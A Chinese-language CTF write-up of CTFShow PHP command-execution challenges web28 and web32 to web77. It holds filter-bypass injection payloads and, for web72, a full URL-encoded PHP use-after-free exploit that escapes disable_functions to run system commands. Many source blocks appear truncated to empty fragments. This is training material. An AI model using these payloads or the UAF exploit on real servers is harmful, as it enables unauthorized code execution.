CTF之Web习题-CTFShow-web32~web77
汇总
php命令执行部分,遇到的知识点汇总下:
// 参数逃逸 |
UAF脚本:
|
url编码脚本后,传入得到flag
文件读取新姿势:数据库读取本地文件内容
|
FFI读取写入漏洞
// 要求版本是7.4以上 |
web28
原始信息
这题几乎没有任何可以直接挖掘的原始信息,只有一个URL。
http://fe00b5e0-d50d-4189-82c0-3446c37963cf.challenge.ctf.show/0/1/2.txt |
改掉点东西,URL变成:
http://fe00b5e0-d50d-4189-82c0-3446c37963cf.challenge.ctf.show/0/1/0/1/0/1/0/1/0/1/0/1/0/1/0/1/0/1/0/1/0/1/0/1/0/1/0/1/0/1/0/1/0/1/0/1/0/1/0/1/0/1/2.txt |
然后就报错了,说循环太多次了。
说实在,这种目录是让我一头雾水。
解析
说实在,这题的wp看的我挺迷糊的。
原因是这样子的:
- 为什么使用数值型目录爆破?
- 如果是其它情况的那种,使用了别的框架,又应该如何进行这种类似的目录爆破?
// 本题解法: |
收获
简单了解了什么是数值爆破
web32
原始信息
error_reporting(0); |
解题
限制很严重,甚至连括号都限制了。
flag |
这里使用官方WP:
?c=$nice=include$_GET["url"] &url=php://filter/read=convert.base64-encode/resource=flag.php |
尝试变式
1.尝试读取文件 |
总结
文件包含+参数逃逸+php伪协议
唯一的疑问就是:假设不知道目录文件的情况下怎么知道这个flag文件的名字
web33
原始信息
if(isset($_GET['c'])){ |
解题
想法和上一道题目差不多,php伪协议 + + 参数逃逸 |
获取到的base64编码自己解码就出flag了。
官方WP如下: |
web34
原始信息
if(isset($_GET['c'])){ |
解题
和上题解法相同,这里上官方的WP。
c=include$_GET[1] &1=php://filter/read=convert.base64-encode/resource=flag.php |
web35
原始信息
if(isset($_GET['c'])){ |
解题
限制增多,解法和上一题差不多。
这里亮一下官方的WP和我的WP。
get: |
web36
原始信息
if(isset($_GET['c'])){ |
解题
// 和之前相比,过滤了整数,也就无法使用$_GET[1]了 |
web37
原始信息
if(isset($_GET['c'])){ |
解题
|
得到base64后尝试data获取
get: |
web38
原始信息
if(isset($_GET['c'])){ |
解题
// 和上面相比,没什么变化,所以说还是那个flag。 |
web39
原始信息
if(isset($_GET['c'])){ |
解题
这次是锁死后面的后缀,但是测试了下data,发现会直接回显到前端: |
web40
原始信息
if(isset($_GET['c'])){ |
解题
仔细看了一眼,差点给我整不会了。
着括号过滤,过滤的是中文的括号……
也就是说,这题给你开放的符号除了英文括号就是分号。
|
web41
原始信息
if(isset($_POST['c'])){ |
解题
过滤很严实,过滤了字母数字等。
// 没见过禁用这么多东西的 |
Linux的命令执行绕过
web42
原始信息
if(isset($_GET['c'])){ |
解题
这里主要绕过后面的命令,分号绕过即可。
get: |
web43
原始信息
if(isset($_GET['c'])){ |
解题
# 封掉了 ";" 后,使用其它逻辑符号绕过 |
web44
原始信息
if(isset($_GET['c'])){ |
解题
#多个flag的字符过滤,换掉即可 |
web45
原始信息
if(isset($_GET['c'])){ |
解题
# 多出了空格过滤 |
官方的WP:
echo$IFS`tac$IFS*`%0A |
web46
原始信息
if(isset($_GET['c'])){ |
解题
# 这次直接k掉了分割符号的$和模糊查询的*,属实是有点狠。 |
web47
原始信息
if(isset($_GET['c'])){ |
解题
// 限制级别和上次相似,还是使用nl读取flag即可 |
web48
原始信息
if(isset($_GET['c'])){ |
解题
// 和上面一样,限制级别没有影响到nl |
web49
原始信息
if(isset($_GET['c'])){ |
解题
// 限制级别和上面差不多,使用之前的wp即可 |
web50
原始信息
if(isset($_GET['c'])){ |
解题
// 限制级别和上面差不多,使用之前的wp即可 |
web51
原始信息
if(isset($_GET['c'])){ |
解题
// 限制级别和上面差不多,使用之前的wp即可 |
web52
原始信息
if(isset($_GET['c'])){ |
解题
// 这次关掉了<,不能照旧使用nl |
web53
原始信息
if(isset($_GET['c'])){ |
解题
// 没有封禁$,考虑使用${IFS}解题 |
官方WP:
c''at${IFS}fla''g.p''hp |
web54
原始信息
if(isset($_GET['c'])){ |
解题
这次的过滤很严格。
preg_match( |
借用官方WP
get: |
Linux无字符注入
web55
原始信息
if(isset($_GET['c'])){ |
解题
非字母数字getshell,先取一大佬文章
# 有一个很好的思路,是使用异或进行编码,把字符串a-z都异或 |
于是大佬给出了另外一个解决办法:使用.和?执行临时文件区的上传文件来解决问题
// 简单功能阐释: |
写一个简单的文件上传表单并且抓包:
|
抓包后是这样的:
POST / HTTP/1.1 |
发现执行了ls命令找到文件后读取flag
POST /?c=.+/???/????????[@-[] HTTP/1.1 |
发包时不一定会成功,因为最后一个不一定是大写的。
收获
无字符写脚本,异或写脚本,特殊字符写脚本,这都是满满的收获哇!
web56
原始信息
if(isset($_GET['c'])){ |
解题
和上一题相比,过滤明显是严格了。加上了数字和$还有括号等。
但幸好没过滤类关键字符串,上一题WP依然可以沿用。
POST /?c=.+/???/????????[@-[] HTTP/1.1 |
web57
原始信息
//flag in 36.php |
解题
这也太狠了,几乎把我见过的全部字符否过滤了……
// 剩下没过滤掉的:& | ^ _ $ {} () ~ @ / |
其实做这题的时候我看漏了一个信息,是36而不是直接flag字符串。找了半天没找到异或出答案的办法,属于是吃了一记暗亏。
POST命令执行
不单单是POST,还包括了配置文件禁用某些函数。
web58~65
原始信息
if(isset($_POST['c'])){ |
解题
// 正常测试: |
真的就这样子出结果了?有点假的感觉……
wc,这……是不是在侮辱我的智商?? |
web66~67
原始信息
配置文件禁用的函数,不会提示
if(isset($_POST['c'])){ |
解题
实验了下: |
web68
原始信息
http://0e9a8e38-be29-481c-943f-bfa56902f8f8.challenge.ctf.show/ |
解题
// 假设我就是知道它的参数是C,试验下 |
尝试解题
POST: |
web69
原始信息
http://0e9a8e38-be29-481c-943f-bfa56902f8f8.challenge.ctf.show/ |
解题
// 假设我就是知道它的参数是C,试验下 |
尝试解题
# 常用的var_dump已经废了,得换个方法查目录 |
web70
原始信息
// 这次属于是一堆报错,读个index.php成功的把我卡闪退了(你真行啊!) |
解题
# 封禁函数: |
web71
原始信息
// 这一次居然在WP那里放了个源码 |
解题
// 果然不简单…… |
最后再看下罪魁祸首的源码:
error_reporting(0); |
新知识:缓冲区刷新。
web72
原始信息
# 依然是报错信息 |
解题
# 这波都默认参数C已知了 |
UAF脚本:
|
url编码脚本后,传入得到flag
c=function%20ctfshow(%24cmd)%20%7B%0A%20%20%20%20global%20%24abc%2C%20%24helper%2C%20%24backtrace%3B%0A%0A%20%20%20%20class%20Vuln%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%3B%0A%20%20%20%20%20%20%20%20public%20function%20__destruct()%20%7B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20global%20%24backtrace%3B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20unset(%24this-%3Ea)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20(new%20Exception)-%3EgetTrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(!isset(%24backtrace%5B1%5D%5B'args'%5D))%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20debug_backtrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20class%20Helper%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%2C%20%24b%2C%20%24c%2C%20%24d%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20str2ptr(%26%24str%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24address%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for(%24j%20%3D%20%24s-1%3B%20%24j%20%3E%3D%200%3B%20%24j--)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%3C%3C%3D%208%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%7C%3D%20ord(%24str%5B%24p%2B%24j%5D)%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24address%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20ptr2str(%24ptr%2C%20%24m%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%0A%20%20%20%20%20%20%20%20for%20(%24i%3D0%3B%20%24i%20%3C%20%24m%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20sprintf(%22%25c%22%2C(%24ptr%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24ptr%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24out%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20write(%26%24str%2C%20%24p%2C%20%24v%2C%20%24n%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24i%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24n%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24str%5B%24p%20%2B%20%24i%5D%20%3D%20sprintf(%22%25c%22%2C(%24v%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24v%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20leak(%24addr%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20global%20%24abc%2C%20%24helper%3B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%200x68%2C%20%24addr%20%2B%20%24p%20-%200x10)%3B%0A%20%20%20%20%20%20%20%20%24leak%20%3D%20strlen(%24helper-%3Ea)%3B%0A%20%20%20%20%20%20%20%20if(%24s%20!%3D%208)%20%7B%20%24leak%20%25%3D%202%20%3C%3C%20(%24s%20*%208)%20-%201%3B%20%7D%0A%20%20%20%20%20%20%20%20return%20%24leak%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20parse_elf(%24base)%20%7B%0A%20%20%20%20%20%20%20%20%24e_type%20%3D%20leak(%24base%2C%200x10%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20%24e_phoff%20%3D%20leak(%24base%2C%200x20)%3B%0A%20%20%20%20%20%20%20%20%24e_phentsize%20%3D%20leak(%24base%2C%200x36%2C%202)%3B%0A%20%20%20%20%20%20%20%20%24e_phnum%20%3D%20leak(%24base%2C%200x38%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24e_phnum%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24header%20%3D%20%24base%20%2B%20%24e_phoff%20%2B%20%24i%20*%20%24e_phentsize%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_type%20%20%3D%20leak(%24header%2C%200%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_flags%20%3D%20leak(%24header%2C%204%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_vaddr%20%3D%20leak(%24header%2C%200x10)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_memsz%20%3D%20leak(%24header%2C%200x28)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%206)%20%7B%20%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_addr%20%3D%20%24e_type%20%3D%3D%202%20%3F%20%24p_vaddr%20%3A%20%24base%20%2B%20%24p_vaddr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20if(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%205)%20%7B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24text_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%0A%20%20%20%20%20%20%20%20if(!%24data_addr%20%7C%7C%20!%24text_size%20%7C%7C%20!%24data_size)%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20false%3B%0A%0A%20%20%20%20%20%20%20%20return%20%5B%24data_addr%2C%20%24text_size%2C%20%24data_size%5D%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_basic_funcs(%24base%2C%20%24elf)%20%7B%0A%20%20%20%20%20%20%20%20list(%24data_addr%2C%20%24text_size%2C%20%24data_size)%20%3D%20%24elf%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24data_size%20%2F%208%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20%24i%20*%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3D%200x746e6174736e6f63)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20(%24i%20%2B%204)%20*%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3D%200x786568326e6962)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20%24data_addr%20%2B%20%24i%20*%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_binary_base(%24binary_leak)%20%7B%0A%20%20%20%20%20%20%20%20%24base%20%3D%200%3B%0A%20%20%20%20%20%20%20%20%24start%20%3D%20%24binary_leak%20%26%200xfffffffffffff000%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%200x1000%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%3D%20%24start%20-%200x1000%20*%20%24i%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24addr%2C%200%2C%207)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20%3D%3D%200x10102464c457f)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20%24addr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_system(%24basic_funcs)%20%7B%0A%20%20%20%20%20%20%20%20%24addr%20%3D%20%24basic_funcs%3B%0A%20%20%20%20%20%20%20%20do%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_entry%20%3D%20leak(%24addr)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_name%20%3D%20leak(%24f_entry%2C%200%2C%206)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24f_name%20%3D%3D%200x6d6574737973)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20leak(%24addr%20%2B%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%2B%3D%200x20%3B%0A%20%20%20%20%20%20%20%20%7D%20while(%24f_entry%20!%3D%200)%3B%0A%20%20%20%20%20%20%20%20return%20false%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20trigger_uaf(%24arg)%20%7B%0A%0A%20%20%20%20%20%20%20%20%24arg%20%3D%20str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')%3B%0A%20%20%20%20%20%20%20%20%24vuln%20%3D%20new%20Vuln()%3B%0A%20%20%20%20%20%20%20%20%24vuln-%3Ea%20%3D%20%24arg%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(stristr(PHP_OS%2C%20'WIN'))%20%7B%0A%20%20%20%20%20%20%20%20die('This%20PoC%20is%20for%20*nix%20systems%20only.')%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24n_alloc%20%3D%2010%3B%20%0A%20%20%20%20%24contiguous%20%3D%20%5B%5D%3B%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24n_alloc%3B%20%24i%2B%2B)%0A%20%20%20%20%20%20%20%20%24contiguous%5B%5D%20%3D%20str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')%3B%0A%0A%20%20%20%20trigger_uaf('x')%3B%0A%20%20%20%20%24abc%20%3D%20%24backtrace%5B1%5D%5B'args'%5D%5B0%5D%3B%0A%0A%20%20%20%20%24helper%20%3D%20new%20Helper%3B%0A%20%20%20%20%24helper-%3Eb%20%3D%20function%20(%24x)%20%7B%20%7D%3B%0A%0A%20%20%20%20if(strlen(%24abc)%20%3D%3D%2079%20%7C%7C%20strlen(%24abc)%20%3D%3D%200)%20%7B%0A%20%20%20%20%20%20%20%20die(%22UAF%20failed%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24closure_handlers%20%3D%20str2ptr(%24abc%2C%200)%3B%0A%20%20%20%20%24php_heap%20%3D%20str2ptr(%24abc%2C%200x58)%3B%0A%20%20%20%20%24abc_addr%20%3D%20%24php_heap%20-%200xc8%3B%0A%0A%20%20%20%20write(%24abc%2C%200x60%2C%202)%3B%0A%20%20%20%20write(%24abc%2C%200x70%2C%206)%3B%0A%0A%20%20%20%20write(%24abc%2C%200x10%2C%20%24abc_addr%20%2B%200x60)%3B%0A%20%20%20%20write(%24abc%2C%200x18%2C%200xa)%3B%0A%0A%20%20%20%20%24closure_obj%20%3D%20str2ptr(%24abc%2C%200x20)%3B%0A%0A%20%20%20%20%24binary_leak%20%3D%20leak(%24closure_handlers%2C%208)%3B%0A%20%20%20%20if(!(%24base%20%3D%20get_binary_base(%24binary_leak)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20determine%20binary%20base%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24elf%20%3D%20parse_elf(%24base)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20parse%20ELF%20header%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24basic_funcs%20%3D%20get_basic_funcs(%24base%2C%20%24elf)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20get%20basic_functions%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24zif_system%20%3D%20get_system(%24basic_funcs)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20get%20zif_system%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%0A%20%20%20%20%24fake_obj_offset%20%3D%200xd0%3B%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%200x110%3B%20%24i%20%2B%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%20%24fake_obj_offset%20%2B%20%24i%2C%20leak(%24closure_obj%2C%20%24i))%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20write(%24abc%2C%200x20%2C%20%24abc_addr%20%2B%20%24fake_obj_offset)%3B%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x38%2C%201%2C%204)%3B%20%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x68%2C%20%24zif_system)%3B%20%0A%0A%20%20%20%20(%24helper-%3Eb)(%24cmd)%3B%0A%20%20%20%20exit()%3B%0A%7D%0A%0Actfshow(%22cat%20%2Fflag0.txt%22)%3Bob_end_flush()%3B%0A%3F%3E |
源码:
error_reporting(0); |
web73
原始信息
// 报错 |
解题
// 这次没有锁死目录 |
web74
原始信息
Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14 |
解题
# 函数被锁,还是这个好查些: |
web75~web76
原始信息
Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14 |
解题
# 函数被锁,还是这个好查些: |
稍微解析下WP的信息:
|
这里的思路有些生僻,有点难想qwq。
web77
原始信息
Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14 |
解题
这里有一个很重要的点必须get: |